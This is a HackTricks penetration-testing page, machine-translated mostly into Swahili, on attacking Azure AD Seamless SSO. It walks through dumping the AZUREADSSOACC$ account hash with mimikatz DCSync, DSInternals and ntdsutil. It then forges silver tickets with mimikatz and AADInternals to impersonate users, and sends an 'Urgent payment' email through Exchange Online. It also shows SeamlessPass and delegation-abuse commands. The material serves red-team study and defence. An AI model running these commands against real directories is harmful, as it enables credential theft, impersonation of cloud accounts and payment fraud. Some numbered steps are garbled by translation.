Az - Seamless SSO

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki inasaini watumiaji wanapokuwa kwenye vifaa vyao vya kampuni vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, watumiaji hawahitaji kuandika nywila zao kuingia kwenye Azure AD, na kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.

Kimsingi Azure AD Seamless SSO inasaini watumiaji wanapokuwa kwenye PC iliyounganishwa na kikoa cha ndani.

Inasaidiwa na PHS (Password Hash Sync) na PTA (Pass-through Authentication).

Desktop SSO inatumia Kerberos kwa uthibitisho. Wakati imewekwa, Azure AD Connect inaunda akaunti ya kompyuta inayoitwa AZUREADSSOACC$ katika AD ya ndani. Nywila ya akaunti ya AZUREADSSOACC$ inatumwa kama maandiko wazi kwa Azure AD wakati wa usanidi.

Tiketi za Kerberos zimefungwa kwa kutumia NTHash (MD4) ya nywila na Azure AD inatumia nywila iliyotumwa kufungua tiketi hizo.

Azure AD inatoa kiungo (https://autologon.microsoftazuread-sso.com) ambacho kinakubali tiketi za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa SSO.

On-prem -> cloud

Nywila ya mtumiaji AZUREADSSOACC$ haitabadilika kamwe. Hivyo, msimamizi wa kikoa anaweza kuathiri hash ya akaunti hii, na kisha kuitumia kuunda tiketi za fedha kuungana na Azure na mtumiaji yeyote wa ndani aliyeunganishwa:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Na hash unaweza sasa kuunda tiketi za fedha:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

  1. Kanzisha kivinjari: Mozilla Firefox inapaswa kuzinduliwa.

  2. Sanidi kivinjari:

  1. Fikia Programu ya Mtandao:

  • Tembelea programu ya mtandao ambayo imeunganishwa na eneo la AAD la shirika. Mfano maarufu ni Office 365.

  1. Mchakato wa Uthibitishaji:

  • Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu.

  • Ili kuendelea, bonyeza TAB au ENTER.

Hii haipuuzi MFA ikiwa imewezeshwa

Chaguo la 2 bila dcsync - SeamlessPass

Pia inawezekana kufanya shambulio hili bila shambulio la dcsync ili kuwa na siri zaidi kama ilivyoelezwa katika chapisho hili la blog. Kwa hiyo unahitaji tu moja ya yafuatayo:

  • TGT ya mtumiaji aliyeathiriwa: Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama Kekeo na Rubeus.

  • Tiketi ya Dhahabu: Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.

  • Hash ya NTLM ya mtumiaji aliyeathiriwa au ufunguo wa AES: SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT.

  • Hash ya NTLM ya akaunti ya AZUREADSSOACC$ au ufunguo wa AES: Kwa habari hii na Kitambulisho cha Usalama wa mtumiaji (SID) ili kushambulia inawezekana kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).

Hatimaye, kwa TGT inawezekana kutumia zana SeamlessPass na:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Taarifa zaidi za kuweka Firefox kufanya kazi na seamless SSO zinaweza kupatikana katika chapisho hili la blog.

Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee

Ikiwa wasimamizi wa Active Directory wana ufikiaji wa Azure AD Connect, wanaweza kweka SID kwa mtumiaji yeyote wa wingu. Kwa njia hii tiketi za Kerberos zinaweza kuundwa pia kwa watumiaji wa wingu pekee. Sharti pekee ni kwamba SID iwe SID sahihi.

Kubadilisha SID ya watumiaji wa admin wa wingu pekee sasa kumezuiwa na Microsoft. Kwa maelezo zaidi angalia https://aadinternals.com/post/on-prem_admin/

On-prem -> Wingu kupitia Uwakilishi wa Rasilimali ulio na Mipaka

Mtu yeyote anayeweza kusimamia akaunti za kompyuta (AZUREADSSOACC$) katika kontena au OU ambayo akaunti hii iko ndani yake, anaweza kuunda uwakilishi wa rasilimali ulio na mipaka juu ya akaunti na kuufikia.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

References

Support HackTricks

Last updated